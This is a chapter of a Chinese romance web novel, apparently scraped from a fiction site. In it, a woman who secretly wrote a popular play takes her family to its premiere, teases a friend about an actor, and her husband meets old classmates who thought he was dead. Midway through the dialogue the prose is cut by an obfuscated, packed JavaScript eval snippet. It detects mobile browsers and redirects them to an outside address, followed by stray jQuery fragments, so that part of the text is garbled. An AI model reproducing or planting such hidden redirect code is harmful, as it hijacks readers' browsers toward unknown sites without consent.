23. 第23章 看戏
作品:《一枝红杏入墙来》 庭院的东南角,一株四季桂悄悄长出了嫩黄的花苞,几簇淡黄的小花零星点缀在绿叶中,微风中淡香浮动。
一簇开得正好的小花在风的召唤下脱离树枝,在盘旋中悄然落上了剑尖。
“桂花开了。”
小月亮小心翼翼地取下那簇桂花,转过身惊喜地向岑遥展示。
“是漂亮花花!”
岑遥从她手里接过花,对着小月亮端详一番,把花簪在她的发间。
淡黄色的桂花从发间探出,俏皮灵动。
“嗯,好看。”
小月亮于是兴高采烈地顶着小花去找奶奶展示,岑遥看了看她换了的发型,问易骧。
“你中午让她睡了?”
“嗯。”易骧挽了个剑花,收剑回鞘,“怎么了?”
看着那边神采奕奕的小月亮,岑遥沉默。
“要不晚上也让她在你这吧,正好培养一下感情。”
易骧愣了一下,感觉有哪里不太对,但还是当她好心提议,毫无异议地答应了。
“好。”
“你的伤势可有影响?”
见母亲专心陪小月亮玩闹没有注意这边,岑遥轻声问道。
“无碍。”他笑笑,眼尾的泪痣在阳光下格外显眼,“若是有影响我也不会应她,放心好了。”
“嗯。”
她不再多言,转身交代紫苏将小月亮晚上要用的物什送到柏青院来,今晚她就不操心了。
是夜,易骧终于见到了让小月亮午睡的后果。
已经到了亥时,小月亮还精神饱满地在纸上涂涂画画,不一会儿就要举着让他看,猜图上是什么。好不容易画完了画,又吵着要给她讲故事,好奇十足地问这问那的。
以成年人的作息自然不会感到困倦,但也被折腾地无法专心做事,不过对于赋闲在家的某人刚刚好。
第二日清晨,待岑遥问起时,就听到了少爷带着小小姐出门看日出去了的消息。
岑遥擦擦刚喝完粥的嘴角,不知道该感慨谁的精力旺盛,该说不愧是父女吗。
餐具收拾下去,画眉端来茶具,笑着说:“其实早上少爷也来摇风院问了呢。”
岑遥:是吗?她怎么没有印象。
“您还没听完,就赶奴婢出去了,奴就替您拒了。”
“咳。”
岑遥把茶杯端回桌子上,试图给自己挽留颜面,“睡眠充足很重要,我昨夜工作到很晚。”
“少爷嘱咐您好好休息呢。”
“……”
看日出这种事,她浪漫过敏就不掺和了,看个日落还差不多。
早起什么的是不可能的。
易骧带着小月亮逛了大半个仪城,天快黑了才姗姗归来。小月亮意犹未尽,恋恋不舍地从易骧身上爬下来,回到摇风院。
易骧身强体壮,即便受伤抱着一个四五岁的孩童也不是问题,小月亮今天可是舒舒服服畅快玩了个够。
“你就高兴吧,明天又要出门,和敏珺阿姨看戏去。”
“好耶!小月亮每天都要出门!”
岑遥揪了揪她的小辫子,给她泼冷水。
“想得美,最多过了生日,你就要好好读书了,听到没有?”
“知道了——”
小月亮拖长了音,暂时不太想回应这个问题。
小孩子就是要快乐玩耍!
岑遥摇摇头,懒得看她那副意气洋洋的样子。
.
七月初十,梨春苑上新戏的日子。
梨春苑的门前停满了马车,陆续有客人持票进门。
岑遥一家早早借着叶敏珺的关系进了包厢,除了被分到戏厅茶座的易骧。
《追月》虽说是岑遥看着改编的,但她并未暴露身份,和梨春苑交流的始终是作为中介的汇文书局,也就是叶敏珺在负责。
梨春苑的班主正在和叶敏珺打招呼,试图让她透露点《追月》作者的信息,有没有看看他们的表演,今天在不在现场等等之类。
正主就在她背后,叶敏珺自然不会主动说漏,只是说白榆大人会看他们的表现。
白榆,意指繁星,是《追月》的作者,也就是岑遥的笔名。
“还请叶小姐多为梨春苑美言几句。”
“那是自然,不过可能用不着我多言,您这满座宾客的盛况就传到白榆大人耳朵里了。”
叶敏珺笑着调侃,半开玩笑地说着真话。
班主诶得一声摇头,“那也是白榆大人的本子好,给了梨春苑这个机会。整个京城的戏班子,哪个不想要《追月》?还是要多谢白榆大人选了梨春苑,才有了今天的宾客满座。”
包厢内另一旁的岑遥和吕清虹相视一笑,对戏班班主的谦言不作评价,默默喝茶。
小月亮见剧目还没开始,逮着包厢里的水果糕点挨个试吃,碰到好吃的就递给娘亲和奶奶。
“笃笃。”
有人敲响房门。
是栖梧。
他已经上好了妆,过来提醒班主开场时间快到了。
眸光不经意间与班主面前的女子错过,栖梧垂下眼眸,淡声问好。
“见过叶小姐。”
“你好。”
包厢里的气氛有一瞬间的凝滞,岑遥举着茶杯掩饰表情,余光注视着门口。吕清虹虽不清楚状况,但她那么多年的盐也不是白吃的,这两个年轻人必定有些纠葛。
“咳。”班主见势不对,准备撤离,“那我就先……”
“叶大侠!”
小月亮终于注意到了房间里多出来的陌生人,一眼认出了他就是上次戏台上的叶望舒,惊喜地凑上前去。
“你是叶大侠吗!”
“在下栖梧,只是在《追月》中扮演叶望舒一角。”
男子波澜不惊,对此种景象已然习惯,平静解释自己只是个扮演者。
小月亮半知半解,被表示歉意打扰的岑遥抱了回去。
班主也趁机作别,临走前不忘祝包厢内的几位夫人小姐看戏愉快。
栖梧一言不发,随班主转身离去,只留下一个离去的背影。
叶敏珺面色如常地关上房门,坐回座位。
“咳。”
她的小臂突然被人戳了一下。
“怎么你也受了风寒?”
“咳,”见小月亮在母亲那边,岑遥这才悄悄凑过去,“你和栖梧现在是怎么回事?”
“什么怎么回事?”
“七月初七,你在哪?”
“在家啊。”
岑遥瞥她一眼,“那我在街上河边看到的狐狸面具是谁?”
狐狸面具?
她下意识摸了摸脸上,发现空无一物时才意识到自己暴露了。见四下无人注意她们俩,抓住岑遥的袖子问她。
“你怎么发现的?”
“声音和体型啊。我认识的人不多,熟悉的声音也就那几个。”所以才对她的声音那么敏感。
这波是社恐宅女的胜利。
“……”
叶敏珺无话可说。
“你怎么把栖梧弄出来的?”她还是对这个比较好奇。
七夕乞巧,梨春苑也是营业的。栖梧作为当红小生,定有不少人想要见他。
叶敏珺低声哀嚎一声,瘫在椅背上。
“除了银子还能有什么办法。”
“多少?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248270|181562||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
她比了个数字,岑遥暗暗咋舌。
“班主不亏。”
“何止不亏,他简直赚翻了。”
要不然今天对她好声好色的,之前还想越过她直接找白榆联系呢。
“啧啧。”
岑遥见她脸色落寞,还是没忍住问。
“你和栖梧什么情况?落花有意,流水……”
“流水它不敢停啊。”
楼下戏厅。
几个吊儿郎当的纨绔往戏台前排的茶座走,边走边骂。
“郑五你买的什么票!让爷几个跟筐里的鱼似的挤在人堆儿里,想想就难受。”
“这不是决定得太突然了嘛,票都卖完了,我好不容易才收了几张在一块的票。在最前头的茶座,不用跟后头这些人挤。”
戏厅最前头是戏台,戏台下是两排圆桌,可看茶包桌,再后面就是并排摆在一起的散座了。
“咱几个的位置在哪啊?”
“正前头那个!左数第三个茶桌。”
“那儿不是有人吗!”
“其它桌也都有人。”
“郑五——”
“哎,我看看我看看!”
郑五掏出来五张票,前前后后仔细看了好几遍,“没错,就是三号桌!”
圆桌最多可坐八人,为观演效果,只卖六张票,可包桌。而他们手里的,是茶座单人票,不是包桌票。
正前头的茶座上,有个男子早早坐在了那儿。
“和他商量商量,瞧他能不能把座让出来。”
郑五没吭声,梨春苑这出戏票全卖完了,让座也没地儿让啊。
孙兴怀打头,过去开口就道。
“出个价吧,这个桌我们几个包了!”
易骧闻声转身,见到来人毫不惊讶,他刚刚就听见了这几个人的高声闹语,客气问好。
“孙二公子,张大公子,曹三公子,方二公子,还有郑五公子。”
这几个人在国子监时就常处在一起。
五个人站在原地,面面相觑。
这谁啊?认识他们?
伸手不打笑脸人,对方彬彬有礼的,倒显得他们不讲理了。
“那个,我们几个想坐一个桌,你方便换个地儿吗?”
“随便出价!”孙兴怀补充。
“抱歉,这张票是内人赠予在下的,不好随意更换。”
又是这种不好拒绝的理由,孙兴怀皱着眉头,实在不行就算了?不行,这也太丢人了,旁边都看着呢。
“孙二。”
“干嘛?”
曹三凑到他后面,“你有没有觉得他很眼熟?”
这么一说……孙兴怀上下扫视他一圈,是有那么点眼熟。
郑五:“不会是国子监以前的同窗吧?”哪有那么巧的他们五个人都觉得眼熟,那人还认识他们。
“在下易骧,字行之。确实曾在国子监求学。”
那就没错了,“咳,既然都是同窗,那就一起坐吧。”
“坐坐坐!”
五个人招呼着落了座,脑子里都还在想那人是谁。
“易骧……我想起来了!次次考试第一的那个!”
“欸对对对,最后考了探花来着!”
“怎么能忘了易兄呢!”
“你这几年去哪了?感觉好久没见了。”
同窗的身份一落定,桌上立刻热络了起来,易骧笑着寒暄,偶尔回答两个问题。
只有孙兴怀抱着胳膊,盯着对面那个言笑晏晏的男人,感觉有哪里不太对。
易骧……,易骧!
桌子一拍——
“你不是死了吗!”